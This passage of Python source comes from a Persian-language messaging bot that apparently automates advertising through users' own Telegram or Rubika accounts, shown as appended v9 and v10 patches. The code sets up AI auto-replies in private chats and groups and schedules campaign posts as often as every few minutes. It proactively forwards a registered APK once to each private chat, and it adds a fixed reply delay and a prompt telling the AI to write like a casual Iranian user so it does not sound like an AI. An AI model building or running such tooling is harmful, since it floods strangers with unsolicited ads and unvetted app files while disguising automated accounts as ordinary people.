        _trx_task_create(_trx_start_live_runner(client, service, uid, aid))
    return ok


# ----- AI binding: explicit ON, reconnect and persist; never silently toggle -----
async def _trx_enable_ai_binding(uid, aid, pv=None, group=None):
    a = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
    if not a:
        return False, "اکانت پیدا نشد."
    row = db.fetchone("SELECT * FROM ai_bindings WHERE account_id=? AND user_id=?", (aid, uid))
    if row:
        cur_pv = row["auto_reply_pv"] if pv is None else int(bool(pv))
        cur_group = row["auto_reply_group"] if group is None else int(bool(group))
        db.execute("UPDATE ai_bindings SET enabled=1,auto_reply_pv=?,auto_reply_group=?,updated_at=? WHERE id=?",
                   (cur_pv, cur_group, now(), row["id"]))
    else:
        db.execute("INSERT INTO ai_bindings(user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at) VALUES(?,?,?,?,?,?,?)",
                   (uid, aid, 1, 1 if pv is None else int(bool(pv)), 0 if group is None else int(bool(group)), now(), now()))
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    registered = bool(client and _register_ai_handler(client, uid, a["service"], aid))
    return True, registered


# ----- Replace unstable binding routes in the final dispatcher -----
_TRX_DISPATCH_BEFORE_V9 = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    # Subscription gate for account-management screens.
    if (data == "acc" or data.startswith("acc.")) and not is_admin(uid):
        if not get_active_subscription(uid):
            return await _edit(chat_id, msg_id,
                               "◆ برای استفاده از بخش حساب‌ها ابتدا یک اشتراک فعال تهیه کنید.\n\n"
                               "▬ ▬",
                               IKB([[("💳 خرید اشتراک", "sub", "success")], [("↩️ بازگشت", "menu", "primary")]]))

    if data.startswith("ai.bind.account:"):
        try:
            aid = int(data.split(":", 1)[1])
            ok, registered = await _trx_enable_ai_binding(uid, aid, pv=1)
            if not ok:
                return await _edit(chat_id, msg_id, "❌ اکانت پیدا نشد.", _ai_platform_kb())
            return await _edit(chat_id, msg_id,
                               "◆ AI روی این اکانت فعال و در حافظه ذخیره شد.\n"
                               + ("✓ پاسخ PV آماده است." if registered else "⚠️ نشست زنده اکانت برقرار نشد؛ با بازکردن/ورود دوباره اکانت، اتصال ادامه می‌یابد."),
                               ai_manage_kb(aid, lang))
        except Exception as e:
            log.error(f"bind account v9: {e}")
            return await _edit(chat_id, msg_id, "❌ خطا در اتصال AI.", _ai_platform_kb())

    if data.startswith("ai.bind.toggle:"):
        aid = int(data.split(":", 1)[1])
        row = db.fetchone("SELECT enabled,auto_reply_pv,auto_reply_group FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        if not row:
            ok, _ = await _trx_enable_ai_binding(uid, aid, pv=1)
            if not ok:
                return await _edit(chat_id, msg_id, "❌ اکانت پیدا نشد.", _ai_platform_kb())
        else:
            new_state = 0 if row["enabled"] else 1
            if new_state:
                ok, registered = await _trx_enable_ai_binding(uid, aid, pv=row["auto_reply_pv"], group=row["auto_reply_group"])
            else:
                db.execute("UPDATE ai_bindings SET enabled=0,updated_at=? WHERE user_id=? AND account_id=?", (now(), uid, aid))
                ok, registered = True, False
        return await _edit(chat_id, msg_id, "◆ AI روشن شد و ذخیره شد." if row is None or (new_state if 'new_state' in locals() else 1) else "◆ AI خاموش شد.", ai_manage_kb(aid, lang))

    if data.startswith("ai.bind.pv:"):
        aid = int(data.split(":", 1)[1])
        row = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        desired = 0 if row and row["auto_reply_pv"] else 1
        ok, _ = await _trx_enable_ai_binding(uid, aid, pv=desired, group=(row["auto_reply_group"] if row else 0))
        return await _edit(chat_id, msg_id, "◆ پاسخ PV روشن شد." if desired else "◆ پاسخ PV خاموش شد.", ai_manage_kb(aid, lang))

    if data.startswith("ai.bind.group:"):
        aid = int(data.split(":", 1)[1])
        row = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        desired = 0 if row and row["auto_reply_group"] else 1
        ok, _ = await _trx_enable_ai_binding(uid, aid, pv=(row["auto_reply_pv"] if row else 1), group=desired)
        return await _edit(chat_id, msg_id, "◆ پاسخ گروه روشن شد." if desired else "◆ پاسخ گروه خاموش شد.", ai_manage_kb(aid, lang))

    if data.startswith("ai.bind.del:"):
        aid = int(data.split(":", 1)[1])
        db.execute("DELETE FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        return await _edit(chat_id, msg_id, "◆ اتصال AI حذف شد.", _ai_platform_kb())

    return await _TRX_DISPATCH_BEFORE_V9(cb_id, uid, lang, u, chat_id, msg_id, data)


# ----- Campaign scheduler: accept 1..N minutes, not hard-coded 10-minute floor -----
async def _trx_scheduler_loop_v9():
    while True:
        try:
            await asyncio.sleep(10)
            if db is None:
                continue
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1")
            ts = time.time()
            for task in rows:
                interval = max(60, int(task["interval_seconds"] or 600))
                last = task["last_run"]
                due = True
                if last:
                    try:
                        due = datetime.utcnow() >= datetime.fromisoformat(str(last)) + timedelta(seconds=interval)
                    except Exception:
                        due = True
                if not due:
                    continue
                try:
                    await _trx_run_task(task)
                except Exception as e:
                    log.warning(f"AI scheduled task #{task['id']} failed: {e}")
                    try:
                        db.execute("UPDATE ai_tasks SET last_run=?,updated_at=? WHERE id=?", (now(), now(), task["id"]))
                        db.execute("INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?,?)", (task["id"], 0, str(e)[:1000], now()))
                    except Exception:
                        pass
        except asyncio.CancelledError:
            return
        except Exception as e:
            log.warning(f"AI scheduler v9: {e}")


# ----- Fix the dead "send interval" state: handle it before legacy wrappers -----
_TRX_MSG_BEFORE_V9 = on_msg

async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            txt = (msg.get("text") or "").strip()
            s = state.get(uid)
            if s and s.get("state") in {State.AI_TASK_TARGET, State.AI_CHANNEL_NAME, State.AI_GROUP_LINK} and s.get("mode") in {"channel_task", "group_task"}:
                if not txt or txt.startswith("/"):
                    return await bot.send(chat_id, "❌ لینک/شناسه معتبر هدف را بفرستید.")
                state.set(uid, State.AI_TASK_INTERVAL, **{k:v for k,v in s.items() if k not in {"state","at"}}, target=txt, step="interval")
                return await bot.send(chat_id, "⏱ حداقل فاصله ارسال را به دقیقه بفرستید؛ مثال: `12`")

            if s and s.get("state") == State.AI_TASK_INTERVAL:
                try:
                    minutes = int(txt)
                except Exception:
                    return await bot.send(chat_id, "❌ فقط عدد دقیقه وارد کنید؛ مثال: `12`")
                if minutes < 1:
                    return await bot.send(chat_id, "❌ فاصله باید حداقل ۱ دقیقه باشد.")
                state.set(uid, State.AI_TASK_APK,
                          **{k:v for k,v in s.items() if k not in {"state","at"}},
                          interval_seconds=minutes * 60, step="apk")
                return await bot.send(chat_id, "📦 آیا APK مرجع هم همراه تبلیغ ارسال شود؟ `بله` یا `خیر`")

            if s and s.get("state") == State.AI_TASK_APK:
                val = txt.lower()
                if val not in {"yes", "no", "بله", "خیر", "نه"}:
                    return await bot.send(chat_id, "❌ فقط بله یا خیر ارسال کنید.")
                send_apk = val in {"yes", "بله"}
                apks = await _trx_apk_rows(uid) if send_apk else []
                apk_id = apks[0]["id"] if apks else None
                if send_apk and not apk_id:
                    return await bot.send(chat_id, "❌ هنوز APK مرجعی ثبت نشده؛ ابتدا APK را ثبت کنید.")
                task_type = "channel" if s.get("mode") == "channel_task" else "group"
                payload = {"send_apk": bool(send_apk), "apk_id": apk_id}
                db.execute("INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json) VALUES(?,?,?,?,?,?,?,?,?,?)",
                           (uid, s["account_id"], task_type, s["target"], s["interval_seconds"], "", 1, now(), now(), json.dumps(payload, ensure_ascii=False)))
                state.pop(uid)
                return await bot.send(chat_id,
                                      f"◆ تبلیغ {('کانال' if task_type=='channel' else 'گروه')} فعال شد.\n\n"
                                      f"🎯 {s['target']}\n⏱ هر {s['interval_seconds']//60} دقیقه\n📦 APK: {'بله' if send_apk else 'خیر'}\n\n▬ ▬",
                                      reply_markup=ai_advanced_menu(lang if 'lang' in locals() else 'fa', uid))

            # APK command for the connected account's own Saved/Self chat.
            if txt == "/id":
                # Telegram bot /id behavior is preserved below; this branch only
                # catches a connected-account message if it reaches this handler.
                pass
    except Exception as e:
        log.error(f"AI task state v9: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX_MSG_BEFORE_V9(msg)


# ----- Enforce exactly two APKs per user in the bot panel and support source metadata -----
MAX_APK_PER_USER = 2
try:
    db.execute("CREATE TABLE IF NOT EXISTS apk_sources (apk_id INTEGER PRIMARY KEY, account_id INTEGER, platform TEXT, source_peer TEXT, source_message_id TEXT, created_at TEXT)")
except Exception:
    pass


# ----- Tutorial: remove banner/admin sections, keep the rest -----
def tutorial_menu_v9(lang):
    rows = [
        [("🚀 راه‌اندازی از صفر", "tut:start", "primary"), ("📱 مدیریت حساب‌ها", "tut:accounts", "danger")],
        [("🤖 تنظیم کامل AI", "tut:ai", "primary"), ("📣 هدف‌گذاری PV و گروه", "tut:targets", "danger")],
        [("📰 تنظیم کانال AI", "tut:channel", "primary"), ("📦 ثبت APK", "tut:apk", "danger")],
        [("💳 خرید و فعال‌سازی", "tut:sub", "primary"), ("⚙️ تنظیمات و پشتیبانی", "tut:settings", "success")],
        [("↩️ بازگشت", "menu", "primary")],
    ]
    return IKB(rows)
tutorial_menu = tutorial_menu_v9


# ----- Main menu: two colored buttons + one full-width button -----
def main_menu_v9(lang, uid):
    rows = [
        [(t(lang, "menu.profile"), "prof", "danger"), (t(lang, "menu.sub"), "sub", "primary")],
        [(t(lang, "menu.accounts"), "acc", "danger"), (t(lang, "menu.ai"), "ai", "primary")],
        [(t(lang, "menu.apk"), "apk", "danger"), (t(lang, "menu.reports"), "rep", "primary")],
        [(t(lang, "menu.dashboard"), "dash", "success")],
        [(t(lang, "menu.tutorial"), "tut", "danger"), (t(lang, "menu.settings"), "set", "primary")],
    ]
    if is_admin(uid):
        rows.append([(t(lang, "menu.admin"), "admin", "danger")])
    return IKB(rows)
main_menu = main_menu_v9


# ----- Remove decorative symbol spam; use one separator/symbol intentionally -----
TRX_DECOR = "✦ ◈ ◆ ◇ ❖ ✓ ► ◄ ↑ ↓ ← →"


# ----- Robust startup restore: keep AI bindings alive after restart -----
async def _restore_ai_live_clients_v9():
    rows = db.fetchall("SELECT b.user_id,b.account_id,a.service FROM ai_bindings b JOIN accounts a ON a.id=b.account_id WHERE b.enabled=1 AND a.enabled=1")
    for r in rows:
        try:
            client = await _trx_restore_one_account(r["user_id"], r["account_id"])
            if client:
                _register_ai_handler(client, r["user_id"], r["service"], r["account_id"])
        except Exception as e:
            log.warning(f"AI restore v9 {r['service']} #{r['account_id']}: {e}")


# Ensure the already-existing main wrapper uses the repaired scheduler.
# Its body looks up _trx_scheduler_loop at runtime, so replacing that symbol
# avoids starting two scheduler tasks.
_trx_scheduler_loop = _trx_scheduler_loop_v9
_TRX_RESTORE_BEFORE_MAIN_V9 = _restore_ai_live_clients
_restore_ai_live_clients = _restore_ai_live_clients_v9

print("\n[TRX117] FINAL AI/TASK/APK FIX v9 LOADED — TRX117_BOT.py\n")


# ═══════════════════════════════════════════════════════════════════
# TRX FINAL PATCH v10 — APK self-forward, 8s natural replies, providers,
# Rubika OTP hardening, Tabchi scheduler, 7m minimum, colored glass UI.
# Appended on purpose so legacy/core functionality remains available.
# ═══════════════════════════════════════════════════════════════════

TRX_REPLY_DELAY_SECONDS = 8
TRX_MIN_TASK_MINUTES = 7
TRX_PROACTIVE_APK_PV = True
TRX_NATURAL_PERSIAN = (
    "فارسی را مثل یک کاربر ایرانیِ عادی و جاافتاده بنویس. لحن محاوره‌ای، طبیعی و روان باشد؛ "
    "نه شبیه متن روابط عمومی و نه شبیه خروجی خشک هوش مصنوعی. از عبارت‌های کلیشه‌ای مثل «متأسفانه نمی‌توانم» "
    "یا «در خدمت شما هستم» بی‌دلیل استفاده نکن. جمله‌ها کوتاه تا متوسط باشند، نشانه‌گذاری و نیم‌فاصله طبیعی باشد، "
    "گاهی از «آره»، «حتماً»، «باشه»، «اوکی»، «می‌تونم»، «بفرست» و عبارت‌های رایج استفاده کن، اما زیاده‌روی نکن. "
    "در گفت‌وگوی صمیمی خیلی رسمی نباش. بی‌جهت سلام و خداحافظی تکرار نکن. پاسخ را دقیقاً متناسب با همان پیام و حافظهٔ همان فرد بده. "
    "هرگز وانمود نکن انسان واقعی هستی؛ فقط طبیعی و محاوره‌ای حرف بزن."
)
TRX_EN_DECOR_BAN = "๑۩۞۩๑✦✧✪✿❁❖⚜♛♕★☆♬♪☯☮☺☼☁☂☑✓✔❥❦❧⊰⊱◈◆◇"
TRX_BUTTON_DECOR_RE = re.compile("[" + re.escape(TRX_EN_DECOR_BAN) + "]+")


def _trx_button_text_en(value):
    value = TRX_BUTTON_DECOR_RE.sub("", str(value or ""))
    return re.sub(r"\\s{2,}", " ", value).strip()


# ----- Global glass-button normalizer: every inline submenu is visibly colored.
_TRX_RAW_IKB = IKB

def IKB(rows):
    keyboard = []
    for row_index, row in enumerate(rows or []):
        kb_row = []
        items = row or []
        for col_index, item in enumerate(items):
            if not isinstance(item, (tuple, list)):
                continue
            if len(item) == 2:
                label, data = item
            elif len(item) >= 3:
                label, data = item[0], item[1]
            else:
                continue
            # Requested visual pattern:
            # single full-width row -> green; paired row -> blue(left)+red(right).
            if len(items) == 1:
                style = "success"
            else:
                style = "primary" if col_index % 2 == 0 else "danger"
            label = str(label)
            if label and label.isascii() and label.lower() == label:
                label = label
            kb_row.append({"text": label, "callback_data": str(data), "style": style})
        if kb_row:
            keyboard.append(kb_row)
    return {"inline_keyboard": keyboard}


# ----- English panel: no decorative-symbol spam in buttons.
def main_menu_v10(lang, uid):
    if str(lang or "fa").lower().startswith("en"):
        rows = [
            [(_trx_button_text_en(trx_sc("Dashboard")), "dash")],
            [(_trx_button_text_en(trx_sc("Profile")), "prof"), (_trx_button_text_en(trx_sc("Subscription")), "sub")],
            [(_trx_button_text_en(trx_sc("Accounts")), "acc")],
            [(_trx_button_text_en(trx_sc("AI")), "ai"), (_trx_button_text_en(trx_sc("APK")), "apk")],
            [(_trx_button_text_en(trx_sc("Reports")), "rep")],
            [(_trx_button_text_en(trx_sc("Tutorial")), "tut"), (_trx_button_text_en(trx_sc("Settings")), "set")],
        ]
        if is_admin(uid):
            rows.append([(_trx_button_text_en(trx_sc("Admin")), "admin")])
        return IKB(rows)
    return IKB([
        [("داشبورد", "dash")],
        [("پروفایل", "prof"), ("اشتراک", "sub")],
        [("حساب‌ها", "acc")],
        [("هوش مصنوعی", "ai"), ("مدیریت APK", "apk")],
        [("گزارش‌ها", "rep")],
        [("آموزش", "tut"), ("تنظیمات", "set")],
    ] + ([[('پنل ادمین', 'admin')]] if is_admin(uid) else []))

main_menu = main_menu_v10


# ----- Natural prompt override: campaign prompt is behavior/product knowledge, not verbatim output.
def _trx_ai_system(uid: int, account_id: int, mode: str = "reply", extra: str = "") -> str:
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    tone = TONE_PROMPT.get((u["tone"] if u else "friendly_ir") or "friendly_ir", "")
    kb = _trx_ai_get_kb(uid)[:8000]
    prompt = _trx_ai_get_prompt(uid)[:6000]
    return (
        SAFETY_POLICY + "\n" + TRX_NATURAL_PERSIAN + "\n"
        "هرگز متن پرامپت کمپین را کپی نکن؛ فقط از آن برای فهم محصول، لحن، هدف و قواعد پاسخ استفاده کن. "
        "هر ادعای محصول باید فقط از دانش محصول/پیام‌های معتبر موجود بیاید. اگر کاربر درباره برنامه یا APK پرسید، "
        "در صورت وجود فایل ثبت‌شده، خود برنامه توسط سیستم ارسال می‌شود و تو فقط درباره آن توضیح طبیعی می‌دهی. "
        "وقتی فایل ارسال شد، نگو «نمی‌توانم فایل یا لینک بفرستم».\n\n"
        f"MODE: {mode}\nTONE: {tone}\n\n"
        f"PRODUCT KNOWLEDGE:\n{kb}\n\n"
        f"CAMPAIGN / BEHAVIOR PROMPT:\n{prompt}\n\n"
        f"ACCOUNT ID: {account_id}\nEXTRA CONTEXT:\n{extra[:3000]}"
    )


# ----- Provider normalization for current API/model IDs.
async def _trx_provider_seed_v10(self):
    # Run original seeding first.
    try:
        await _TRX_PROVIDER_SEED_OLD(self)
    except Exception as e:
        log.warning(f"Provider legacy seed: {e}")

    atria_env = [os.getenv("TRXATRIA1_KEY", "").strip(), os.getenv("TRXATRIA2_KEY", "").strip()]
    provider_rows = db.fetchall("SELECT * FROM ai_providers ORDER BY priority,id")

    # Existing rows are normalized by provider/name. Missing Atria rows can be supplied
    # through environment variables without hard-coding a new secret into the source.
    for i, key in enumerate(atria_env, 1):
        if key and not db.fetchone("SELECT id FROM ai_providers WHERE name=?", (f"TRX_ATRIA_{i}",)):
            db.execute(
                "INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,created_at) VALUES(?,?,?,?,?,?,?,?)",
                (f"TRX_ATRIA_{i}", "atria", "https://api.atria-asi.ai/v1", "Atria-Dawn-Preview", key, 30+i, "unknown", now())
            )

    for r in db.fetchall("SELECT * FROM ai_providers ORDER BY priority,id"):
        name = (r["name"] or "").upper()
        provider = (r["provider"] or "").lower()
        updates = {}
        if "GROQ" in name or provider == "groq":
            updates = {"provider":"groq", "base_url":"https://api.groq.com/openai/v1", "model":"openai/gpt-oss-120b"}
        elif "CEREBRAS" in name or provider == "cerebras":
            updates = {"provider":"cerebras", "base_url":"https://api.cerebras.ai/v1", "model":"gpt-oss-120b"}
        elif "ATRIA" in name or provider == "atria":
            updates = {"provider":"atria", "base_url":"https://api.atria-asi.ai/v1", "model":"Atria-Dawn-Preview"}
        elif "GAPGPT" in name or provider == "gapgpt":
            updates = {"provider":"gapgpt", "base_url":((r["base_url"] or "https://api.gapgpt.app/v1").rstrip("/") or "https://api.gapgpt.app/v1"), "model":(r["model"] or "gpt-4o-mini")}
        if updates:
            db.execute("UPDATE ai_providers SET provider=?,base_url=?,model=?,status=CASE WHEN status='disabled' THEN 'disabled' ELSE 'unknown' END,last_error='' WHERE id=?",
                       (updates["provider"], updates["base_url"], updates["model"], r["id"]))

TRX_PROVIDER_MODELS = {
    "groq": ["openai/gpt-oss-120b", "openai/gpt-oss-20b"],
    "cerebras": ["gpt-oss-120b"],
    "atria": ["Atria-Dawn-Preview"],
    "gapgpt": ["gpt-4o-mini", "deepseek-chat", "qwen3-235b-a22b"],
}


async def _trx_ai_call_v10(self, prov, messages, temperature=0.7, max_tokens=600):
    provider = (prov["provider"] or "").lower().strip()
    base = (prov["base_url"] or "").rstrip("/")
    if provider == "groq":
        base = "https://api.groq.com/openai/v1"
    elif provider == "cerebras":
        base = "https://api.cerebras.ai/v1"
    elif provider == "atria":
        base = "https://api.atria-asi.ai/v1"
    elif provider == "gapgpt":
        base = base or "https://api.gapgpt.app/v1"
    models = list(TRX_PROVIDER_MODELS.get(provider, []))
    configured_model = (prov["model"] or "").strip()
    if configured_model and configured_model not in models:
        models.insert(0, configured_model)
    if not models:
        models = [configured_model or "gpt-4o-mini"]

    headers = {"Authorization": f"Bearer {prov['api_key']}", "Content-Type": "application/json"}
    if provider == "cerebras":
        headers["X-Cerebras-Version-Patch"] = "2"
    last_error = None
    for model in models:
        body = {"model": model, "messages": messages, "max_tokens": max_tokens}
        # Some current models reject nonzero temperature; retry without it.
        if temperature is not None:
            body["temperature"] = temperature
        try:
            async with self.session.post(base + "/chat/completions", headers=headers, json=body) as r:
                raw = await r.text()
                if r.status >= 400:
                    last_error = f"HTTP {r.status}: {raw[:500]}"
                    if r.status in (400, 404):
                        body.pop("temperature", None)
                        async with self.session.post(base + "/chat/completions", headers=headers, json=body) as r2:
                            raw2 = await r2.text()
                            if r2.status < 400:
                                data2 = json.loads(raw2)
                                choices2 = data2.get("choices") or []
                                content2 = (choices2[0].get("message") or {}).get("content") if choices2 else None
                                if content2:
                                    usage2 = data2.get("usage") or {}
                                    tokens2 = int(usage2.get("total_tokens") or 0)
                                    db.execute("UPDATE ai_providers SET status='working',last_test=?,model=?,last_error='' WHERE id=?", (now(), model, prov["id"]))
                                    return content2, tokens2
                    continue
                data = json.loads(raw)
                choices = data.get("choices") or []
                content = (choices[0].get("message") or {}).get("content") if choices else None
                if content:
                    usage = data.get("usage") or {}
                    tokens = int(usage.get("total_tokens") or 0)
                    db.execute("UPDATE ai_providers SET status='working',last_test=?,model=?,last_error='' WHERE id=?", (now(), model, prov["id"]))
                    return content, tokens
                last_error = "API response had no choices/message.content"
        except Exception as e:
            last_error = str(e)
            continue
    db.execute("UPDATE ai_providers SET status='failed',error_count=error_count+1,last_error=? WHERE id=?", (str(last_error or 'unknown')[:1500], prov["id"]))
    log.warning(f"AI provider {prov['name']} exhausted: {last_error}")
    return None


async def _trx_ai_chat_v10(self, messages, uid=0, account_id=None, action_type="chat", temperature=0.7, max_tokens=600):
    await self.start()
    provs = self._load()
    if not provs:
        return None
    # Always give every non-disabled provider a chance; failed providers get retried via their
    # current model candidates, so an old model status does not permanently disable the key.
    provs = sorted(provs, key=lambda p: (0 if p["status"] == "working" else 1 if p["status"] == "unknown" else 2, p["priority"]))
    for prov in provs:
        result = await _trx_ai_call_v10(self, prov, messages, temperature, max_tokens)
        if result:
            content, tokens = result
            try:
                db.execute("INSERT INTO ai_usage(user_id,provider_id,account_id,action_type,tokens,success,created_at) VALUES(?,?,?,?,?,1,?)",
                           (uid, prov["id"], account_id, action_type, tokens, now()))
            except Exception:
                pass
            return content
    return None

_TRX_PROVIDER_SEED_OLD = AIProvider.seed
AIProvider.seed = _trx_provider_seed_v10
AIProvider._call = _trx_ai_call_v10
AIProvider.chat = _trx_ai_chat_v10


# ----- API test override: reports exact current endpoint/model and preserves DB provider rows.
async def _trx_ai_test_v10(self, prov_id):
    await self.start()
    prov = db.fetchone("SELECT * FROM ai_providers WHERE id=?", (prov_id,))
    if not prov:
        return False, "provider not found"
    result = await _trx_ai_call_v10(self, prov, [{"role":"user","content":"Reply with exactly: OK"}], 0.0, 16)
    if result:
        return True, result[0]
    err = db.fetchone("SELECT last_error FROM ai_providers WHERE id=?", (prov_id,))
    return False, (err["last_error"] if err else "test failed")
AIProvider.test = _trx_ai_test_v10


# ----- APK schema and robust /id source capture from the connected account's Saved/Self chat.
try:
    db.execute("CREATE TABLE IF NOT EXISTS ai_apk_delivery (user_id INTEGER NOT NULL, account_id INTEGER NOT NULL, peer_key TEXT NOT NULL, apk_id INTEGER NOT NULL, delivered_at TEXT NOT NULL, PRIMARY KEY(user_id,account_id,peer_key,apk_id))")
except Exception:
    pass


def _trx_apk_pick(uid, aid=None):
    if aid is not None:
        try:
            row = db.fetchone(
                "SELECT af.* FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
                "WHERE af.user_id=? AND af.enabled=1 AND src.account_id=? ORDER BY af.id DESC LIMIT 1", (uid, aid))
            if row:
                return row
        except Exception:
            pass
    return db.fetchone("SELECT * FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id DESC LIMIT 1", (uid,))


async def _trx_event_get_reply_message(client, event):
    reply_id = getattr(event, "reply_to_msg_id", None) or getattr(event, "reply_to_message_id", None)
    if reply_id is None:
        reply_obj = getattr(event, "reply_to", None) or getattr(getattr(event, "message", None), "reply_to", None)
        reply_id = getattr(reply_obj, "reply_to_msg_id", None) or getattr(reply_obj, "message_id", None) or (getattr(reply_obj, "id", None) if reply_obj is not None and not isinstance(reply_obj, (int,str)) else reply_obj)
    if reply_id is None:
        return None

    getter = getattr(client, "get_messages", None) or getattr(client, "get_message", None)
    if getter:
        candidates = [
            (("me",), {"ids": reply_id}),
            (("me",), {"id": reply_id}),
            (("me",), {"limit": 1, "offset_id": reply_id}),
            (("me", reply_id), {}),
        ]
        for args, kwargs in candidates:
            try:
                r = getter(*args, **kwargs)
                r = await _trx_maybe_await(r)
                if isinstance(r, (list, tuple)):
                    return r[0] if r else None
                if r is not None:
                    return r
            except Exception:
                continue
    return None


def _trx_extract_media_document(message):
    if message is None:
        return None
    for obj in (message, getattr(message, "message", None), getattr(message, "document", None), getattr(message, "media", None)):
        if obj is None:
            continue
        filename = getattr(obj, "file_name", None) or getattr(obj, "name", None) or getattr(obj, "filename", None)
        mime = getattr(obj, "mime_type", None)
        size = getattr(obj, "file_size", None) or getattr(obj, "size", None) or 0
        if filename or (mime and str(mime).lower() == "application/vnd.android.package-archive"):
            return {"filename": str(filename or "app.apk"), "size": int(size or 0)}
    return None


def _trx_self_peer_candidates(client):
    return ["me", "self"]


async def _trx_self_peer(client):
    get_me = getattr(client, "get_me", None)
    if get_me:
        try:
            me = await _trx_maybe_await(get_me())
            for attr in ("user_guid", "guid", "user_id", "id"):
                value = getattr(me, attr, None) or (me.get(attr) if isinstance(me, dict) else None)
                if value:
                    return str(value)
        except Exception:
            pass
    return "me"


async def _trx_register_apk_from_self_event(uid, aid, service, client, event):
    if _trx_extract_event_text(event).strip().lower() != "/id":
        return False
    if not (getattr(event, "is_me", False) or getattr(event, "out", False)):
        return False
    reply_msg = await _trx_event_get_reply_message(client, event)
    media = _trx_extract_media_document(reply_msg)
    if not media:
        return False
    filename = media["filename"]
    if not filename.lower().endswith(".apk"):
        return False
    count = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
    if count >= 2:
        return False
    reply_id = getattr(reply_msg, "id", None) or getattr(reply_msg, "message_id", None)
    if reply_id is None:
        return False
    # De-duplicate identical source message if /id is pressed more than once.
    exists = db.fetchone("SELECT af.id FROM apk_files af JOIN apk_sources s ON s.apk_id=af.id WHERE af.user_id=? AND s.account_id=? AND s.source_message_id=?", (uid, aid, str(reply_id)))
    if exists:
        return True
    cur = db.execute("INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,added_at) VALUES(?,?,?,?,?,?)",
                     (uid, "", int(reply_id), filename[:255], media["size"], now()))
    apk_id = cur.lastrowid
    db.execute("INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
               (apk_id, aid, service, "me", str(reply_id), now()))
    log_event(uid, "APK_ADDED", f"{service}:{filename}")
    log_account_activity(aid, uid, "apk_register", f"{filename}:{reply_id}", 1)
    return True


async def _trx_forward_source_apk(uid, aid, target, apk_id):
    apk = db.fetchone("SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id WHERE af.id=? AND af.user_id=? AND af.enabled=1", (apk_id, uid))
    if not apk:
        return False, "APK source not found"
    source_aid = int(apk["source_account_id"] or 0)
    client = ai_live_clients.get((uid, source_aid or aid)) or await _ensure_ai_client(uid, source_aid or aid)
    if not client:
        return False, "self account is not connected"
    source_id = apk["source_message_id"]
    service = db.fetchone("SELECT service FROM accounts WHERE id=?", (source_aid or aid,))
    service_name = (service["service"] if service else "").lower()

    # Rubpy has a documented exact forward_messages signature: source GUID, destination GUID, message IDs.
    if service_name == "rubika" and hasattr(client, "forward_messages"):
        source_peer = await _trx_self_peer(client)
        dest = str(target)
        try:
            r = client.forward_messages(source_peer, dest, [str(source_id)])
            await _trx_maybe_await(r)
            return True, r
        except Exception as e:
            log.warning(f"Rubika self-forward failed: {e}")

    for name in ("forward_messages", "forward_message"):
        fn = getattr(client, name, None)
        if not fn:
            continue
        variants = [
            ((target, source_id), {"from_":"me"}),
            ((target,), {"messages":[source_id], "from_":"me"}),
            ((target,), {"message":source_id, "from_":"me"}),
            ((target, source_id, "me"), {}),
            ((target, "me", source_id), {}),
        ]
        for args, kwargs in variants:
            try:
                r = fn(*args, **kwargs)
                await _trx_maybe_await(r)
                return True, r
            except Exception:
                continue
    return False, "native self-forward is unavailable for this client"


async def _trx_forward_saved_apk(uid, aid, event):
    apk = _trx_apk_pick(uid, aid)
    if not apk:
        return False
    target = getattr(event, "chat_id", None)
    if target is None:
        chat = getattr(event, "chat", None)
        target = getattr(chat, "id", None) or getattr(chat, "guid", None)
    if target is None:
        return False
    ok, _ = await _trx_forward_source_apk(uid, aid, target, int(apk["id"]))
    return ok


# ----- Delivery record: explicit request is always allowed; proactive delivery happens once per PV.
def _trx_apk_delivered(uid, aid, peer_key, apk_id):
    try:
        return bool(db.fetchone("SELECT 1 FROM ai_apk_delivery WHERE user_id=? AND account_id=? AND peer_key=? AND apk_id=?", (uid, aid, peer_key, apk_id)))
    except Exception:
        return False


def _trx_mark_apk_delivered(uid, aid, peer_key, apk_id):
    try:
        db.execute("INSERT OR IGNORE INTO ai_apk_delivery(user_id,account_id,peer_key,apk_id,delivered_at) VALUES(?,?,?,?,?)", (uid, aid, peer_key, apk_id, now()))
    except Exception:
        pass


async def _trx_ai_apk_description(uid, aid, apk):
    context = f"APK filename: {apk['file_name']}\nAPK size: {int(apk['file_size'] or 0)//1024} KB. Only explain verified facts from product knowledge and the filename; do not invent technical features."
    reply = await ai.chat(
        [{"role":"system","content":_trx_ai_system(uid, aid, "apk_description", context)},
         {"role":"user","content":"بعد از ارسال فایل، یک توضیح کوتاه تا متوسط و طبیعی درباره این اپلیکیشن بنویس؛ فقط بر اساس اطلاعات موجود و بدون ادعای ساختگی."}],
        uid=uid, account_id=aid, action_type="apk_description", temperature=0.75, max_tokens=260
    )
    return reply or f"◆ فایل **{apk['file_name']}** آماده‌ست. این همون APK ثبت‌شده‌ایه که خواستی."


# ----- Final live AI handler: exact 8s delay + APK request/proactive delivery + human Persian style.
_TRX_LIVE_LOCKS = {}
